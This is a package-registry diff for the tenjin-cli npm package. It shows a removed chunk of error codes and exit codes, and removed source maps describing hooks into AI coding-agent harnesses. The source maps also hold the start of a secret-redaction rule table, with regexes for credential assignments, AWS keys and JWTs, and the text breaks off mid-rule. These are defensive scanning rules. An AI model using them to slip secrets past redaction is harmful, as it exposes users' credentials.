tenjin-cli 0.1.0-alpha.16 → 0.1.0-alpha.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (110) hide show
  1. package/README.md +2 -0
  2. package/dist/chunk-2G2WLVHB.js +102 -0
  3. package/dist/chunk-2G2WLVHB.js.map +1 -0
  4. package/dist/chunk-2I4QTOLB.js +11 -0
  5. package/dist/chunk-2I4QTOLB.js.map +1 -0
  6. package/dist/{chunk-HVRC33OL.js → chunk-2JGT3KDW.js} +4 -6
  7. package/dist/{chunk-HVRC33OL.js.map → chunk-2JGT3KDW.js.map} +1 -1
  8. package/dist/chunk-35M3VITA.js +102 -0
  9. package/dist/chunk-35M3VITA.js.map +1 -0
  10. package/dist/{chunk-5X4SZ5BF.js → chunk-5QHHRMRA.js} +4 -4
  11. package/dist/{chunk-BFFM2WFK.js → chunk-5UDD5VSY.js} +2 -2
  12. package/dist/{chunk-BFFM2WFK.js.map → chunk-5UDD5VSY.js.map} +1 -1
  13. package/dist/{chunk-OIM4HLN6.js → chunk-7QKHZQKW.js} +295 -20
  14. package/dist/chunk-7QKHZQKW.js.map +1 -0
  15. package/dist/{chunk-BBVUVBUO.js → chunk-AR7U7BRG.js} +44 -7
  16. package/dist/{chunk-BBVUVBUO.js.map → chunk-AR7U7BRG.js.map} +1 -1
  17. package/dist/{chunk-DMZZLPZN.js → chunk-AUKDYPPX.js} +14 -89
  18. package/dist/chunk-AUKDYPPX.js.map +1 -0
  19. package/dist/{chunk-PZEN5PHN.js → chunk-J5INH7WB.js} +17 -3
  20. package/dist/chunk-J5INH7WB.js.map +1 -0
  21. package/dist/{chunk-7WEQQJLG.js → chunk-JLEF5WHM.js} +66 -2
  22. package/dist/chunk-JLEF5WHM.js.map +1 -0
  23. package/dist/{chunk-GULLJQXA.js → chunk-KK4YGYTV.js} +127 -17
  24. package/dist/chunk-KK4YGYTV.js.map +1 -0
  25. package/dist/{chunk-YEETV6IW.js → chunk-KUBEYXSO.js} +10 -12
  26. package/dist/{chunk-YEETV6IW.js.map → chunk-KUBEYXSO.js.map} +1 -1
  27. package/dist/{chunk-2U5ZVEV3.js → chunk-LJ4DMVFI.js} +5 -5
  28. package/dist/{chunk-3AJS6LLN.js → chunk-MRGADYDD.js} +7 -7
  29. package/dist/{chunk-25TJPVBF.js → chunk-O4ZNKFRU.js} +28 -15
  30. package/dist/chunk-O4ZNKFRU.js.map +1 -0
  31. package/dist/{chunk-OJLYNM4Z.js → chunk-PDA2BVFY.js} +77 -19
  32. package/dist/chunk-PDA2BVFY.js.map +1 -0
  33. package/dist/{chunk-L3PVMIYQ.js → chunk-QDD2RN7G.js} +29 -119
  34. package/dist/chunk-QDD2RN7G.js.map +1 -0
  35. package/dist/chunk-S2NRVRPF.js +171 -0
  36. package/dist/chunk-S2NRVRPF.js.map +1 -0
  37. package/dist/chunk-TGLKKLQG.js +11 -0
  38. package/dist/chunk-TGLKKLQG.js.map +1 -0
  39. package/dist/chunk-TP4D47BY.js +127 -0
  40. package/dist/chunk-TP4D47BY.js.map +1 -0
  41. package/dist/{chunk-WH7OWT6G.js → chunk-U2DZISAH.js} +2 -8
  42. package/dist/chunk-U2DZISAH.js.map +1 -0
  43. package/dist/{chunk-USS336NF.js → chunk-WGQVJM56.js} +5 -5
  44. package/dist/chunk-WGQVJM56.js.map +1 -0
  45. package/dist/{chunk-YJHHCWM3.js → chunk-WLMJE3GJ.js} +3 -3
  46. package/dist/{chunk-U5DXNFJC.js → chunk-WS4JA6TC.js} +3 -3
  47. package/dist/{chunk-SKAHDQH7.js → chunk-XZOEUYMX.js} +6 -7
  48. package/dist/{chunk-SKAHDQH7.js.map → chunk-XZOEUYMX.js.map} +1 -1
  49. package/dist/{cli-M3XCSOU6.js → cli-VHYYYYXM.js} +43 -29
  50. package/dist/{cli-M3XCSOU6.js.map → cli-VHYYYYXM.js.map} +1 -1
  51. package/dist/{config-MXOX7XDR.js → config-5ADBAAXU.js} +11 -10
  52. package/dist/{doctor-LU4YIZWM.js → doctor-Q35VQW3S.js} +108 -21
  53. package/dist/doctor-Q35VQW3S.js.map +1 -0
  54. package/dist/{fund-A54P2QFK.js → fund-GDDPL2BB.js} +11 -10
  55. package/dist/{fund-A54P2QFK.js.map → fund-GDDPL2BB.js.map} +1 -1
  56. package/dist/hook-command-PBERPRE3.js +763 -0
  57. package/dist/hook-command-PBERPRE3.js.map +1 -0
  58. package/dist/index.js +2 -2
  59. package/dist/{install-XUM2XSHW.js → install-OKDKGUXM.js} +21 -14
  60. package/dist/{install-wallet-QIOFORTX.js → install-wallet-SI4LZ73K.js} +10 -9
  61. package/dist/{install-wallet-QIOFORTX.js.map → install-wallet-SI4LZ73K.js.map} +1 -1
  62. package/dist/{mcp-HJC2PLRV.js → mcp-XX3WRQEZ.js} +63 -31
  63. package/dist/{mcp-HJC2PLRV.js.map → mcp-XX3WRQEZ.js.map} +1 -1
  64. package/dist/{pay-SBXZEPEP.js → pay-3SYKHKWJ.js} +15 -13
  65. package/dist/{redact-46ZHF2NH.js → redact-6W23GGJC.js} +4 -6
  66. package/dist/{send-ASD2ZXJD.js → send-LQRKTEJT.js} +10 -9
  67. package/dist/{send-ASD2ZXJD.js.map → send-LQRKTEJT.js.map} +1 -1
  68. package/dist/{skill-placement-NFVHY6A3.js → skill-placement-JMDPSKE6.js} +12 -13
  69. package/dist/{skill-placement-NFVHY6A3.js.map → skill-placement-JMDPSKE6.js.map} +1 -1
  70. package/dist/{status-T2SDB57A.js → status-FFC6FO72.js} +8 -7
  71. package/dist/{status-T2SDB57A.js.map → status-FFC6FO72.js.map} +1 -1
  72. package/dist/{status-line-CGPUSDMC.js → status-line-SAXSU6CR.js} +19 -3
  73. package/dist/status-line-SAXSU6CR.js.map +1 -0
  74. package/dist/{status-line-wiring-BYPHTYZE.js → status-line-wiring-L2WYIYBM.js} +5 -6
  75. package/dist/tenjin-daemon.mjs +384 -23
  76. package/dist/{uninstall-FKYZHAM3.js → uninstall-OACH27UV.js} +18 -15
  77. package/dist/{uninstall-FKYZHAM3.js.map → uninstall-OACH27UV.js.map} +1 -1
  78. package/dist/{update-ANJ2AOTN.js → update-4W6EKLGZ.js} +6 -7
  79. package/dist/{update-ANJ2AOTN.js.map → update-4W6EKLGZ.js.map} +1 -1
  80. package/dist/{wallet-PWAHVKWW.js → wallet-BMEXRR3P.js} +10 -9
  81. package/docs/agent-permissions.md +16 -8
  82. package/docs/safety-model.md +1 -1
  83. package/package.json +1 -1
  84. package/dist/chunk-25TJPVBF.js.map +0 -1
  85. package/dist/chunk-7WEQQJLG.js.map +0 -1
  86. package/dist/chunk-DMZZLPZN.js.map +0 -1
  87. package/dist/chunk-GULLJQXA.js.map +0 -1
  88. package/dist/chunk-L3PVMIYQ.js.map +0 -1
  89. package/dist/chunk-OCBHUHWB.js +0 -69
  90. package/dist/chunk-OCBHUHWB.js.map +0 -1
  91. package/dist/chunk-OIM4HLN6.js.map +0 -1
  92. package/dist/chunk-OJLYNM4Z.js.map +0 -1
  93. package/dist/chunk-PZEN5PHN.js.map +0 -1
  94. package/dist/chunk-USS336NF.js.map +0 -1
  95. package/dist/chunk-WH7OWT6G.js.map +0 -1
  96. package/dist/doctor-LU4YIZWM.js.map +0 -1
  97. package/dist/hook-command-U6KWPEDQ.js +0 -377
  98. package/dist/hook-command-U6KWPEDQ.js.map +0 -1
  99. package/dist/status-line-CGPUSDMC.js.map +0 -1
  100. /package/dist/{chunk-5X4SZ5BF.js.map → chunk-5QHHRMRA.js.map} +0 -0
  101. /package/dist/{chunk-2U5ZVEV3.js.map → chunk-LJ4DMVFI.js.map} +0 -0
  102. /package/dist/{chunk-3AJS6LLN.js.map → chunk-MRGADYDD.js.map} +0 -0
  103. /package/dist/{chunk-YJHHCWM3.js.map → chunk-WLMJE3GJ.js.map} +0 -0
  104. /package/dist/{chunk-U5DXNFJC.js.map → chunk-WS4JA6TC.js.map} +0 -0
  105. /package/dist/{config-MXOX7XDR.js.map → config-5ADBAAXU.js.map} +0 -0
  106. /package/dist/{install-XUM2XSHW.js.map → install-OKDKGUXM.js.map} +0 -0
  107. /package/dist/{pay-SBXZEPEP.js.map → pay-3SYKHKWJ.js.map} +0 -0
  108. /package/dist/{redact-46ZHF2NH.js.map → redact-6W23GGJC.js.map} +0 -0
  109. /package/dist/{status-line-wiring-BYPHTYZE.js.map → status-line-wiring-L2WYIYBM.js.map} +0 -0
  110. /package/dist/{wallet-PWAHVKWW.js.map → wallet-BMEXRR3P.js.map} +0 -0
@@ -1,69 +0,0 @@
1
- import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
2
-
3
- // src/lib/errors.ts
4
- var EXIT_BY_CODE = {
5
- NODE_UNSUPPORTED: 1,
6
- USAGE: 2,
7
- CONFIG_INVALID: 2,
8
- WALLET_EXISTS: 3,
9
- WALLET_MISSING: 1,
10
- WALLET_INVALID_KEY: 1,
11
- PROVIDER_ERROR: 1,
12
- RPC_ERROR: 1,
13
- API_UNREACHABLE: 1,
14
- CONTRACT_MISMATCH: 1,
15
- REFUSED: 3,
16
- NETWORK_ERROR: 1,
17
- INTERNAL: 1,
18
- NOT_IMPLEMENTED: 1,
19
- POLICY_REFUSED: 3,
20
- PAYMENT_FAILED: 4,
21
- RESOURCE_NOT_FOUND: 1,
22
- SEARCH_NOT_FOUND: 1,
23
- RATE_LIMITED: 1,
24
- // A publish awaiting confirmation or hard-blocked is understood-but-refused (3),
25
- // the same posture as POLICY_REFUSED; a write that failed after approval is a
26
- // settlement-class failure (4), like PAYMENT_FAILED.
27
- NEEDS_CONFIRMATION: 3,
28
- PUBLISH_BLOCKED: 3,
29
- PUBLISH_FAILED: 4,
30
- // A send that reverted or stalled AFTER the human approved it and it was
31
- // broadcast: the post-decision failure class (4), like PAYMENT_FAILED.
32
- SEND_FAILED: 4,
33
- // A delete the operator confirmed and the server then refused: same class.
34
- DELETE_FAILED: 4,
35
- UPDATE_FAILED: 1,
36
- // Refused BEFORE any signature existed: the Bazaar lane's fail-closed check.
37
- REGISTRY_MISMATCH: 3,
38
- // The seller's 402 challenge does not fit this process's header limit, so the
39
- // terms could not be read and nothing was sent. Understood and refused (3),
40
- // not a transport failure: the connection was fine and a retry changes
41
- // nothing without an operator raising `--max-http-header-size`.
42
- CHALLENGE_TOO_LARGE: 3
43
- };
44
- function exitCodeFor(code) {
45
- return EXIT_BY_CODE[code];
46
- }
47
- var CliError = class extends Error {
48
- code;
49
- exitCode;
50
- fix;
51
- details;
52
- constructor(code, message, opts = {}) {
53
- super(message, opts.cause !== void 0 ? { cause: opts.cause } : void 0);
54
- this.name = "CliError";
55
- this.code = code;
56
- this.exitCode = opts.exitCode ?? exitCodeFor(code);
57
- this.fix = opts.fix;
58
- this.details = opts.details;
59
- }
60
- };
61
-
62
- // src/adapters/types.ts
63
- var HARNESSES = ["claude", "codex"];
64
-
65
- export {
66
- CliError,
67
- HARNESSES
68
- };
69
- //# sourceMappingURL=chunk-OCBHUHWB.js.map
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/lib/errors.ts","../src/adapters/types.ts"],"sourcesContent":["import type { ErrorCode } from '../schemas';\n\n/**\n * The process exit code is API (spec 10): 0 success, 1 runtime/network, 2 usage,\n * 3 understood-but-refused (policy refusal, publish confirmation/hard-block), 4 a\n * failure AFTER an approved spend or write (a settlement that failed, a publish\n * that failed post-consent).\n */\nexport type ExitCode = 1 | 2 | 3 | 4;\n\nexport interface CliErrorOptions {\n /** A copy-pasteable command or one-line remediation. */\n fix?: string;\n /** Structured detail for machine consumers; serialized into the envelope. */\n details?: unknown;\n /** Override the default exit code for this error's code. */\n exitCode?: ExitCode;\n /** Underlying cause, preserved on the Error but never serialized. */\n cause?: unknown;\n}\n\n/**\n * Default code -> exit-code mapping. USAGE/CONFIG_INVALID are malformed\n * invocations (2); WALLET_EXISTS/REFUSED are understood-but-refused (3);\n * everything else is a runtime/network failure (1). A CliError may override its\n * own exit code, but the table is the default every caller relies on.\n */\nconst EXIT_BY_CODE: Record<ErrorCode, ExitCode> = {\n NODE_UNSUPPORTED: 1,\n USAGE: 2,\n CONFIG_INVALID: 2,\n WALLET_EXISTS: 3,\n WALLET_MISSING: 1,\n WALLET_INVALID_KEY: 1,\n PROVIDER_ERROR: 1,\n RPC_ERROR: 1,\n API_UNREACHABLE: 1,\n CONTRACT_MISMATCH: 1,\n REFUSED: 3,\n NETWORK_ERROR: 1,\n INTERNAL: 1,\n NOT_IMPLEMENTED: 1,\n POLICY_REFUSED: 3,\n PAYMENT_FAILED: 4,\n RESOURCE_NOT_FOUND: 1,\n SEARCH_NOT_FOUND: 1,\n RATE_LIMITED: 1,\n // A publish awaiting confirmation or hard-blocked is understood-but-refused (3),\n // the same posture as POLICY_REFUSED; a write that failed after approval is a\n // settlement-class failure (4), like PAYMENT_FAILED.\n NEEDS_CONFIRMATION: 3,\n PUBLISH_BLOCKED: 3,\n PUBLISH_FAILED: 4,\n // A send that reverted or stalled AFTER the human approved it and it was\n // broadcast: the post-decision failure class (4), like PAYMENT_FAILED.\n SEND_FAILED: 4,\n // A delete the operator confirmed and the server then refused: same class.\n DELETE_FAILED: 4,\n UPDATE_FAILED: 1,\n // Refused BEFORE any signature existed: the Bazaar lane's fail-closed check.\n REGISTRY_MISMATCH: 3,\n // The seller's 402 challenge does not fit this process's header limit, so the\n // terms could not be read and nothing was sent. Understood and refused (3),\n // not a transport failure: the connection was fine and a retry changes\n // nothing without an operator raising `--max-http-header-size`.\n CHALLENGE_TOO_LARGE: 3,\n};\n\nexport function exitCodeFor(code: ErrorCode): ExitCode {\n return EXIT_BY_CODE[code];\n}\n\n/**\n * The one error type commands throw. It carries the machine `code`, the resolved\n * `exitCode`, and an optional `fix`/`details` that flow straight into the failure\n * envelope. Commands throw it; the CLI dispatcher catches, serializes, and exits.\n */\nexport class CliError extends Error {\n readonly code: ErrorCode;\n readonly exitCode: ExitCode;\n readonly fix?: string;\n readonly details?: unknown;\n\n constructor(code: ErrorCode, message: string, opts: CliErrorOptions = {}) {\n super(message, opts.cause !== undefined ? { cause: opts.cause } : undefined);\n this.name = 'CliError';\n this.code = code;\n this.exitCode = opts.exitCode ?? exitCodeFor(code);\n this.fix = opts.fix;\n this.details = opts.details;\n }\n}\n","/**\n * The harness adapter contract (tenjin-notes loop-redesign/04-harness-adapters.md).\n *\n * This and `error-markers.ts` (data both sides read) are the ONLY files the\n * kernel (`src/hooks/*`) imports from `src/adapters/`.\n * A harness is one module exporting a {@link HarnessAdapter}: a pure `decode`\n * from its native payload to {@link HookInput}, a pure `encode` from the\n * kernel's {@link Emit} to its native response, and a {@link Registrar} the\n * installer uses to write its hook entries. The daemon holds one adapter per\n * member of {@link Harness} and one route, `POST /hook/:harness`.\n *\n * Adding a harness is an adapter file plus a transport; nothing in `src/hooks`\n * or `src/daemon` changes. The union gains a member when an adapter lands, not\n * before.\n */\n\nimport type { PublishMode } from '../lib/config';\nimport type {\n CodexGrantResult,\n HarnessPermissions,\n PermissionsResult,\n} from '../lib/harness-permissions';\nimport type { CodexTrustReport, TrustProbeOptions, TrustResult } from '../lib/codex-trust';\n\n/** Harnesses with an adapter in this build. */\nexport type Harness = 'claude' | 'codex';\n\n/** The same union at run time: the installer's ownership predicate matches a\n * registered URL against `/hook/<harness>`, and a list it cannot iterate would\n * have to be spelled a second time. */\nexport const HARNESSES: readonly Harness[] = ['claude', 'codex'];\n\n/**\n * The canonical event vocabulary every adapter maps its native events onto.\n * `session.end` is deliberately absent: no arm registers on it and retention\n * never runs there (a daemon serves many sessions; one ending is not the\n * machine going quiet).\n */\nexport type Event =\n | 'session.start'\n | 'prompt'\n | 'tool.before'\n | 'tool.after'\n | 'agent.start'\n | 'agent.stop'\n | 'turn.end';\n\nexport const EVENTS: readonly Event[] = [\n 'session.start',\n 'prompt',\n 'tool.before',\n 'tool.after',\n 'agent.start',\n 'agent.stop',\n 'turn.end',\n];\n\n/**\n * What a tool IS to the arms. Anything unmatched is `'other'`, never a key.\n *\n * `web` and `fetch` are separate kinds because they are separate arms: a page\n * fetch and a real web search ask different questions, and one agent's six page\n * fetches must not spend the budget its search needed.\n */\nexport type ToolKind = 'web' | 'fetch' | 'dispatch' | 'shell' | 'edit' | 'read';\n\nexport interface ToolResult {\n stdout?: string;\n stderr?: string;\n error?: string;\n text?: string;\n}\n\ninterface ToolBase {\n /** The native tool name, verbatim. */\n name: string;\n callId?: string;\n /**\n * `tool.after` only, and DECIDED IN DECODE, never by an arm reading the\n * result text. `false` is a failure the harness stated or an error marker in\n * a shell's output; `true` is a completion the harness vouched for;\n * `undefined` is unknown, which is what a harness that reports no exit status\n * leaves behind. No marker never means success.\n */\n ok?: boolean;\n result?: ToolResult;\n interrupted?: boolean;\n}\n\n/**\n * The fields the arms read, canonical per kind. Native argument shapes (a\n * `file_path`, a patch body, a `message`) stop at the adapter; an arm never\n * reads a vendor field. One native invocation is one tool value, so an edit\n * that touches several files carries them all in `paths` and the context arm\n * marks every one in a single fire.\n */\nexport type HookTool = ToolBase &\n (\n | { kind: 'shell'; command: string }\n | { kind: 'edit'; paths: string[] }\n | { kind: 'read'; paths: string[] }\n | { kind: 'dispatch'; task: string; description?: string }\n | { kind: 'web'; query: string }\n | { kind: 'fetch'; url: string; prompt: string }\n | { kind: 'other' }\n );\n\n/** The normalized payload the kernel runs on. */\nexport interface HookInput {\n harness: Harness;\n event: Event;\n /** `hook_event_name` verbatim; `encode` stamps its response with it. */\n native: { event: string };\n /** The ROOT session as the harness names it: the id the lead and all its\n * children share. `actorOf` namespaces it by harness before anything is\n * stored, so equal native ids across harnesses never share state. */\n session: string;\n /** Child id; undefined = the lead. Present-but-invalid makes `decode` return null. */\n agent?: string;\n /** Required; '' is allowed and recorded. */\n cwd: string;\n /** Claude `prompt_id`, Codex `turn_id`. */\n turn?: string;\n tool?: HookTool;\n /** The prompt on `prompt`; the spawn prompt on `agent.start` when the harness has it. */\n prompt?: string;\n agentType?: string;\n lastMessage?: string;\n /** Claude/Codex `stop_hook_active`: this stop was raised by a hook's own\n * feedback rather than by the agent finishing. The capture arm reads it to\n * tell an ask turn from the answer turn after one. */\n stopFuse?: boolean;\n transcript?: { path?: string; agentPath?: string };\n /** `session.start` source (`startup`, `clear`, `compact`, `resume`). */\n source?: string;\n /** The native payload. Ledger `question` on error rows and tests only; never read by arms. */\n raw: unknown;\n}\n\n/**\n * What the kernel hands back to the harness. `null` is \"nothing to say\" (204).\n *\n * ONE CHANNEL. Everything an arm says is context beside the turn, including the\n * turn-end ask: on Stop and SubagentStop `additionalContext` keeps the\n * conversation going through the same loop protections a blocking decision\n * would, and shows in the transcript as hook feedback rather than a hook error.\n * A second channel with a red banner said the same words for a worse price.\n */\nexport interface Emit {\n context?: string;\n}\n\n/**\n * What the installer needs to register a harness, and nothing the daemon runs\n * on: `selectArm` reads the event and tool kind off the decoded input, so a\n * registrar carries no event or tool metadata that would claim an enforcement\n * nothing performs.\n */\nexport interface Registrar {\n /** The harness's own hooks file under `home`. */\n configPath(home: string, env?: NodeJS.ProcessEnv): string;\n /**\n * Entries the installer merges additively into that file, each\n * `{ event, matcher?, hooks }` in the harness's own JSON shape.\n */\n plan(target: { url: string; token: string; shimPath: string; timeoutSeconds: number }): unknown[];\n /**\n * The steps left to a PERSON once the file is written, for a harness that\n * gates entries it has not been told to trust. Takes the path actually\n * written, because a machine on `$CODEX_HOME` is not reading `~/.codex`.\n * One sentence was not enough: as a clause on the undo line, operators\n * finished an install reporting \"7 entries\" with a loop that never fired\n * (tenjin-agent#342).\n */\n activation?(hooksPath: string): string[];\n /** The harness-native persistent command grant, when this harness has one. */\n grant?: {\n path(home: string, env?: NodeJS.ProcessEnv): string;\n inspect(home: string, mode: PublishMode, env?: NodeJS.ProcessEnv): Promise<HarnessPermissions>;\n write(\n home: string,\n mode: PublishMode,\n env?: NodeJS.ProcessEnv,\n ): Promise<PermissionsResult | CodexGrantResult>;\n remove?(home: string, env?: NodeJS.ProcessEnv): Promise<{ path: string; removed: boolean }>;\n };\n /** A harness-native trust gate for registered hook handlers. */\n trust?: {\n ensure(\n home: string,\n keys: readonly string[],\n ownedBy: (row: { command?: unknown; sourcePath?: unknown }) => boolean,\n opts?: TrustProbeOptions,\n ): Promise<TrustResult>;\n read(\n home: string,\n keys: readonly string[],\n opts?: TrustProbeOptions,\n ): Promise<CodexTrustReport>;\n };\n}\n\nexport interface HarnessAdapter {\n id: Harness;\n /** Pure. `null` = drop the fire quietly (unknown event, invalid identity). */\n decode(raw: unknown): HookInput | null;\n /** Pure. `null` = respond 204 with no body. */\n encode(emit: Emit | null, input: HookInput): unknown;\n registrar: Registrar;\n}\n"],"mappings":";;;AA2BA,IAAM,eAA4C;AAAA,EAChD,kBAAkB;AAAA,EAClB,OAAO;AAAA,EACP,gBAAgB;AAAA,EAChB,eAAe;AAAA,EACf,gBAAgB;AAAA,EAChB,oBAAoB;AAAA,EACpB,gBAAgB;AAAA,EAChB,WAAW;AAAA,EACX,iBAAiB;AAAA,EACjB,mBAAmB;AAAA,EACnB,SAAS;AAAA,EACT,eAAe;AAAA,EACf,UAAU;AAAA,EACV,iBAAiB;AAAA,EACjB,gBAAgB;AAAA,EAChB,gBAAgB;AAAA,EAChB,oBAAoB;AAAA,EACpB,kBAAkB;AAAA,EAClB,cAAc;AAAA;AAAA;AAAA;AAAA,EAId,oBAAoB;AAAA,EACpB,iBAAiB;AAAA,EACjB,gBAAgB;AAAA;AAAA;AAAA,EAGhB,aAAa;AAAA;AAAA,EAEb,eAAe;AAAA,EACf,eAAe;AAAA;AAAA,EAEf,mBAAmB;AAAA;AAAA;AAAA;AAAA;AAAA,EAKnB,qBAAqB;AACvB;AAEO,SAAS,YAAY,MAA2B;AACrD,SAAO,aAAa,IAAI;AAC1B;AAOO,IAAM,WAAN,cAAuB,MAAM;AAAA,EACzB;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EAET,YAAY,MAAiB,SAAiB,OAAwB,CAAC,GAAG;AACxE,UAAM,SAAS,KAAK,UAAU,SAAY,EAAE,OAAO,KAAK,MAAM,IAAI,MAAS;AAC3E,SAAK,OAAO;AACZ,SAAK,OAAO;AACZ,SAAK,WAAW,KAAK,YAAY,YAAY,IAAI;AACjD,SAAK,MAAM,KAAK;AAChB,SAAK,UAAU,KAAK;AAAA,EACtB;AACF;;;AC7DO,IAAM,YAAgC,CAAC,UAAU,OAAO;","names":[]}
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/lib/redact-rules.json","../src/lib/bip39-wordlist.json","../src/lib/redact.ts"],"sourcesContent":["{\n \"schemaVersion\": 1,\n \"note\": \"One rule table for every redaction surface in the CLI (src/lib/redact.ts), kept as data so the tenjin server-side ingest gate can vendor it verbatim. Every row is one detector: `id` is the stable finding `check`, `tier` is the finding severity, `match` is a JS regex or the name of an algorithmic detector a consumer must implement, `excerpt` is the masked-excerpt policy (never the secret), `skip` names a suppression predicate. `scopes` says where the row applies: `publish` (reported on the public marketplace), `team` (reported on a team shelf), `query` (its matches are replaced by the excerpt in hook queries by `mask()`; regex rows only). Precision first, as gitleaks and GitHub push protection do: a block row fires on a vendor prefix or an unambiguous shape, the generic `secret-assignment` row needs a secret-named word plus `=` or `:`, and entropy is never a trigger for a query. Table order is mask() order (the assignment row runs first, see its description). Several entries may share an `id`; they are one detector expressed as more than one pattern. Patterns adapted from gitleaks are MIT and attributed in NOTICE.md.\",\n \"publicHexConstants\": [\n {\n \"value\": \"0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef\",\n \"name\": \"topic0 ERC-20 / ERC-721 Transfer\"\n },\n {\n \"value\": \"0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925\",\n \"name\": \"topic0 ERC-20 / ERC-721 Approval\"\n },\n {\n \"value\": \"0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31\",\n \"name\": \"topic0 ERC-721 / ERC-1155 ApprovalForAll\"\n },\n {\n \"value\": \"0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62\",\n \"name\": \"topic0 ERC-1155 TransferSingle\"\n },\n {\n \"value\": \"0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb\",\n \"name\": \"topic0 ERC-1155 TransferBatch\"\n },\n {\n \"value\": \"0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0\",\n \"name\": \"topic0 Ownable OwnershipTransferred\"\n },\n {\n \"value\": \"0xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c\",\n \"name\": \"topic0 WETH Deposit\"\n },\n {\n \"value\": \"0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65\",\n \"name\": \"topic0 WETH Withdrawal\"\n },\n {\n \"value\": \"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc\",\n \"name\": \"EIP-1967 implementation storage slot\"\n },\n {\n \"value\": \"0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103\",\n \"name\": \"EIP-1967 admin storage slot\"\n },\n {\n \"value\": \"0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\",\n \"name\": \"keccak256 of the empty string\"\n },\n {\n \"value\": \"0x0000000000000000000000000000000000000000000000000000000000000000\",\n \"name\": \"the zero hash\"\n }\n ],\n \"excerptPolicies\": {\n \"mask\": \"Keep the first `keep` characters (a public type marker) and replace the rest with a redaction count.\",\n \"verbatim\": \"Echo the match, truncated to `max` characters when set. Only for non-secret matches.\",\n \"abbreviate\": \"Keep `head` leading and `tail` trailing characters joined by an ellipsis.\",\n \"custom\": \"Consumer-implemented builder named by `handler`.\"\n },\n \"rules\": [\n {\n \"id\": \"secret-assignment\",\n \"tier\": \"warn\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Secret-named assignment (API_KEY=, password:, token=) with a literal value. NOT the JSON-quoted form (\\\"password\\\": \\\"...\\\"): reading a quote after the name turned ordinary config keys into findings ({\\\"credentials\\\": \\\"include\\\"}, {\\\"max_tokens\\\": 128000}, {\\\"tokenizer\\\": \\\"cl100k_base\\\"}), and a JSON key is an identifier the shelf ranks on (owner decision, review round 6). The separator class is [ \\\\t] rather than \\\\s so a heading line (`## Token:`) never swallows the next line when mask() runs over whole text. FIRST IN THE TABLE ON PURPOSE: mask() applies rows in table order, and a value that is itself a vendor token (`OPENAI_API_KEY=sk-...`) must be taken whole by this row, name kept, before a vendor row could leave a stub for this row to re-match.\",\n \"source\": \"tenjin\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b([A-Za-z0-9_]*(?:API[_-]?KEY|SECRET|ACCESS[_-]?KEY|SUBSCRIPTION[_-]?KEY|PRIVATE[_-]?KEY|PASSW(?:OR)?D|TOKEN|CREDENTIALS?|AUTH[_-]?TOKEN)[A-Za-z0-9_]*)[ \\\\t]*[:=][ \\\\t]*(\\\"[^\\\"]{6,}\\\"|'[^']{6,}'|[^\\\\s\\\"']{6,})\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"labeledValue\"\n },\n \"skip\": {\n \"handler\": \"nonLiteralValue\"\n }\n },\n {\n \"id\": \"secret-assignment\",\n \"tier\": \"warn\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"Secret-named command-line flag with a SPACE-separated literal value (--api-key <v>, --token <v>): the one credential position the assignment form above cannot see, since it needs `=` or `:` after the name. `X-Api-Key: <v>` and `--api-key=<v>` already match above (Api-Key, api-key) and are deliberately not repeated here, so one value yields one finding. For the shapes a recorded command line takes (tenjin-agent#281): a hex-only key has no vendor prefix, and bare hex is deliberately never reported so a commit SHA still syncs, so the credential POSITION is the signal.\",\n \"source\": \"tenjin (closes tenjin-agent#281)\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"(--(?:[a-z0-9]+-)*(?:api[_-]?key|api[_-]?token|access[_-]?key|access[_-]?token|auth[_-]?token|secret[_-]?key|private[_-]?key|subscription[_-]?key|credentials?|secret|token|password|passwd))[ \\\\t]+(\\\"[^\\\"]{6,}\\\"|'[^']{6,}'|[^\\\\s\\\"']{6,})\",\n \"flags\": \"gi\"\n },\n \"excerpt\": {\n \"kind\": \"custom\",\n \"handler\": \"labeledValue\"\n },\n \"skip\": {\n \"handler\": \"nonLiteralValue\"\n }\n },\n {\n \"id\": \"aws-access-key\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"AWS access key id (AKIA/ASIA/ABIA/ACCA/A3T prefixes).\",\n \"source\": \"gitleaks:aws-access-token\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\b(?:A3T[A-Z0-9]|AKIA|ASIA|ABIA|ACCA)[0-9A-Z]{16}\\\\b\",\n \"flags\": \"g\"\n },\n \"excerpt\": {\n \"kind\": \"mask\",\n \"keep\": 4\n }\n },\n {\n \"id\": \"jwt\",\n \"tier\": \"block\",\n \"scopes\": [\"query\", \"publish\", \"team\"],\n \"description\": \"JSON Web Token: three base64url segments whose header starts eyJ.\",\n \"source\": \"gitleaks:jwt\",\n \"match\": {\n \"kind\": \"regex\",\n \"pattern\": \"\\\\beyJ[A-Za-z0-9_-]{5,}\\\\.eyJ[A-Za-z0-9_-]{5,}\\\\.[A-Za-z0-9_-]{5,}\\\\b\",\n \"flags\": 